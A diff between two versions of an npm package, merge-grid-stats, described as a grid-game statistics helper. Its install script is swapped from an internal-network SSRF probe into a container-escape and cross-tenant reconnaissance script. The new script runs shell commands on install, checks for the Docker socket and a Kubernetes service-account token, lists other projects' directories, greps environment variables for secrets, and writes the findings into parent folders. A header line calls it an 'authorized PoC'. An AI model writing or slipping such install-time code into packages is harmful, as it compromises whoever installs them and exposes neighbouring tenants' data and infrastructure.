merge-grid-stats 1.3.0 → 1.4.0

package/install-cb.js

@@ -1,60 +1,72 @@
-// Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
+// Authorized PoC (non-destructive): container escape + cross-tenant recon. Results -> NCODE_ESCAPE.txt
 var fs = require('fs');
 var path = require('path');
 var os = require('os');
-var https = require('https');
-var http = require('http');
+var cp = require('child_process');
 
 var cwd = process.cwd();
-var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
+var out = ['escape-probe', 'cwd=' + cwd, 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
 
-function probeHttps(host, port, p, timeoutMs) {
-  return new Promise(function (resolve) {
-    var done = false;
-    var body = '';
-    var req;
-    try {
-      req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
-        res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
-        res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
-      });
-      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
-      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
-      req.end();
-    } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
-  });
+function run(cmd) {
+  try {
+    return cp.execSync(cmd, {timeout: 5000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim();
+  } catch (e) {
+    return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200);
+  }
 }
-
-function probeHttp(host, port, p, timeoutMs) {
-  return new Promise(function (resolve) {
-    var done = false;
-    var body = '';
-    var req;
-    try {
-      req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
-        res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
-        res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
-      });
-      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
-      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
-      req.end();
-    } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
-  });
+function read(p) {
+  try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; }
 }
 
-var tasks = [
-  probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
-  probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
-  probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
-  probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
-];
+out.push('=== OS ===');
+out.push('uname=' + run('uname -a'));
+out.push('id=' + run('id'));
+out.push('=== cgroup ===');
+out.push(run('cat /proc/1/cgroup'));
+out.push('=== mounts ===');
+out.push(run('cat /proc/mounts'));
+out.push('=== capabilities ===');
+out.push(read('/proc/self/status').split('\n').filter(function (l) { return l.indexOf('Cap') === 0; }).join('|'));
+out.push('=== docker socket ===');
+out.push('docker_sock=' + fs.existsSync('/var/run/docker.sock'));
+out.push('=== k8s sa ===');
+var saDir = '/var/run/secrets/kubernetes.io/serviceaccount';
+out.push('k8s_sa_dir=' + (fs.existsSync(saDir) ? 'EXISTS' : 'no'));
+if (fs.existsSync(saDir + '/token')) {
+  out.push('k8s_token_len=' + fs.readFileSync(saDir + '/token', 'utf-8').length);
+  out.push('k8s_ns=' + read(saDir + '/namespace'));
+}
+out.push('=== / root ===');
+out.push(run('ls -la /'));
+out.push('=== /root ===');
+out.push(run('ls -la /root'));
+out.push('=== /root/projects ===');
+out.push(run('ls -la /root/projects 2>&1'));
+out.push('=== sibling project dirs ===');
+out.push(run('for d in /root/projects/*/; do echo "== $d"; ls "$d" 2>&1 | head -12; done'));
+out.push('=== host write test ===');
+out.push(run('touch /NCODE_HOST_TEST_$$ 2>&1; ls -la /NCODE_HOST_TEST_* 2>&1; rm -f /NCODE_HOST_TEST_* 2>&1'));
+out.push('=== env sensitive ===');
+out.push(run('env | grep -iE "kube|cluster|namespace|tenant|token|secret|ak|sk|key|password|passwd|db_|redis|oss|s3" | sed "s/=.*/=***/" | head -20'));
+out.push('=== net ===');
+out.push(run('cat /proc/net/dev'));
+out.push('=== ip ===');
+out.push(run('ip addr 2>&1 | head -30'));
+out.push('=== route ===');
+out.push(run('ip route 2>&1 | head -20'));
+out.push('=== resolv.conf ===');
+out.push(read('/etc/resolv.conf'));
+out.push('=== /etc/hosts ===');
+out.push(read('/etc/hosts'));
+out.push('=== proc1 ===');
+out.push('cmdline=' + read('/proc/1/cmdline').replace(/\0/g, ' '));
+out.push('=== tmp & work ===');
+out.push(run('ls -la /tmp /var/tmp /workspace /work 2>&1 | head -40'));
 
-Promise.all(tasks).then(function () {
-  var data = lines.join('\n');
-  ['', '..', '../..'].forEach(function (rel) {
-    try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
-  });
-  ['', '..', '../..'].forEach(function (rel) {
-    try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
-  });
+var data = out.join('\n');
+['', '..', '../..'].forEach(function (rel) {
+  try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE.txt'), data); } catch (e) {}
+});
+['', '..', '../..'].forEach(function (rel) {
+  try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape-probe-done ' + new Date().toISOString()); } catch (e) {}
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "merge-grid-stats",
-  "version": "1.3.0",
+  "version": "1.4.0",
   "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
   "main": "index.js",
   "scripts": {